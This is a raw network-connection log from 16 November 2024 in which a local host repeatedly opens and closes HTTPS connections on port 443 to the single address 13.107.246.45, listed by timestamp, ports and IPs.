Nov 16, 2024 04:34:28.970791101 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.970889091 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.970906973 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999492884 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999572039 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999597073 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999633074 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.999634981 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999675035 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.999677896 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999710083 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.999795914 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.999808073 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.999810934 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999824047 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.999830008 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999830008 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.999845028 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.999851942 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.001951933 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.002024889 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.002037048 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.002124071 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.002126932 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.002199888 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.002262115 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.002284050 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.002311945 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.002331018 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.099358082 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.099522114 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.099595070 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.099666119 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.099705935 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.099731922 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.099747896 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.102320910 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.102406025 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.102546930 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.102654934 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.102675915 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.263489962 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.263510942 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.710041046 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.713156939 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.736637115 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.746105909 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.750767946 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.750830889 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.751157045 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.751209974 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.751228094 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.751260042 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.751538992 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.751545906 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.751948118 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.751997948 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.752384901 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.752438068 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.752578974 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.752602100 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.756479025 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.756532907 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.843307018 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.847187996 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.847264051 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.847600937 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.847615004 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.878659010 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.878693104 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.878761053 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.878786087 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.878848076 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.878973007 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.878973007 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.879005909 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.879033089 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.879122019 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.879164934 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.879232883 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.879293919 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.879364967 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.879420996 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.879420996 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.879420996 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.879467964 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.880631924 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.880939007 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.881009102 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.881169081 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.881184101 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.881198883 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.881206036 CET	443	50028	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.881737947 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.881791115 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.881860971 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.882318020 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.882407904 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.882457972 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.882487059 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.882489920 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.882565975 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.882589102 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.882869959 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.882891893 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.882953882 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.883021116 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.883033037 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.884618998 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.884670973 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.884722948 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.884747982 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.884798050 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.884843111 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.884844065 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.884871960 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.884900093 CET	50030	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.884911060 CET	443	50030	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.886356115 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.886378050 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.886444092 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.886548042 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.886560917 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.976289988 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.976360083 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.976430893 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.976491928 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.976530075 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.976568937 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.976613998 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.976643085 CET	50031	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.976659060 CET	443	50031	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.978809118 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.978852987 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:29.978940964 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.979070902 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:29.979085922 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.183614969 CET	50029	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.183671951 CET	443	50029	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.621181011 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.621208906 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.621268988 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.621859074 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.621859074 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.621906996 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.621933937 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.622193098 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.622200012 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.622242928 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.622247934 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.622363091 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.622396946 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.622435093 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.622598886 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.622612953 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.622697115 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.622704029 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.622978926 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.622983932 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.726612091 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.727387905 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.727467060 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.727895021 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.727909088 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.750525951 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.750598907 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.750711918 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.750711918 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.750767946 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751173973 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751180887 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751197100 CET	50032	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751213074 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751214981 CET	443	50032	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751270056 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751283884 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751363993 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751363993 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751363993 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751687050 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751688004 CET	50035	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751725912 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751740932 CET	443	50035	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751754045 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751754045 CET	50033	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.751761913 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.751775026 CET	443	50033	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.754091024 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754117966 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754182100 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.754205942 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.754287958 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754316092 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754430056 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754451036 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.754513979 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754535913 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.754602909 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754625082 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.754692078 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754755974 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.754776955 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.762563944 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.762706995 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.762768030 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.762882948 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.762897015 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.762911081 CET	50034	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.762917042 CET	443	50034	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.765022993 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.765108109 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.765214920 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.765326023 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.765351057 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.858673096 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.858834028 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.859050035 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.859050035 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.859647036 CET	50036	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.859687090 CET	443	50036	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.861010075 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.861054897 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:30.861143112 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.861254930 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:30.861279964 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.481853008 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.482641935 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.482706070 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.483309031 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.483323097 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.502821922 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.502975941 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.503077984 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.503542900 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.503575087 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.503592968 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.503638983 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.503815889 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.503899097 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.503990889 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.504004002 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.504405975 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.504416943 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.504642010 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.504656076 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.607778072 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.608203888 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.608236074 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.608589888 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.608596087 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.618251085 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.618287086 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.618350983 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.618354082 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.618405104 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.618503094 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.618542910 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.618571997 CET	50039	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.618587017 CET	443	50039	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.621172905 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.621207952 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.621277094 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.621469021 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.621484041 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.632128954 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.632287979 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.632366896 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.632582903 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.632582903 CET	50037	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.632601976 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.632622957 CET	443	50037	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.635804892 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.635832071 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.635921001 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.636077881 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.636090994 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.636167049 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.636338949 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.636413097 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.636492968 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.636492968 CET	50040	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.636538029 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.636567116 CET	443	50040	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.639039040 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.639107943 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.639184952 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.639359951 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.639396906 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.643018961 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.643109083 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.643181086 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.643210888 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.643269062 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.643424034 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.643424034 CET	50038	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.643465996 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.643507957 CET	443	50038	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.645426035 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.645435095 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.645518064 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.645612955 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.645618916 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.738568068 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.738719940 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.738789082 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.738893986 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.738914967 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.738926888 CET	50041	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.738933086 CET	443	50041	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.741050005 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.741117001 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:31.741230011 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.741323948 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:31.741342068 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.505877972 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.506376028 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.506391048 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.506937981 CET	50043	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.506943941 CET	443	50043	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.507927895 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.508681059 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.508702040 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.509289026 CET	50044	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.509294987 CET	443	50044	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.511538029 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.512015104 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.512042999 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.512111902 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.513073921 CET	50045	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.513079882 CET	443	50045	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.513592005 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.513601065 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.514837027 CET	50046	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.514857054 CET	443	50046	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.629153967 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.630120993 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.630207062 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.630513906 CET	50047	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:32.630565882 CET	443	50047	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:32.632407904 CET	443	50043	13.107.246.45	192.168.2.4
